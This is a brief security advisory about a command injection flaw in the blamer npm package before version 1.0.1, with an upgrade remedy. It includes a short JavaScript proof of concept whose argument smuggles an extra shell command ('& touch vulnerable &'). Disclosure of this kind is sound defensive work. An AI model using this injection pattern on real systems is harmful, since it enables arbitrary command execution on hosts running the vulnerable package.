Command Injection

Affecting blamer package, versions <1.0.1

Overview

blamer is a tool for get information about author of code from version control system. Supports git and subversion.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the arguments provided to blamer.

PoC

var Root = require("blamer");
var attack_command = "& touch vulnerable &";
root = new Root('git',attack_command);
root.blameByFile("./");

Remediation

Upgrade blamer to version 1.0.1 or higher.

References

• GitHub Commit
• HackerOne Report